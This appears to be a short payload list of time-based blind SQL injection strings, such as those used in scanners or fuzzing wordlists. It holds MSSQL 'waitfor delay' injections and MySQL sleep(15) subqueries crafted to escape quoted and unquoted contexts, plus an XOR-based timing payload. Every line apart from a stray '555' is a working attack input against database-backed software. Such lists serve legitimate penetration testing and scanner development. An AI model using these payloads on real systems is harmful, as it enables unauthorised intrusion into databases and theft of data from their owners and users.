1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555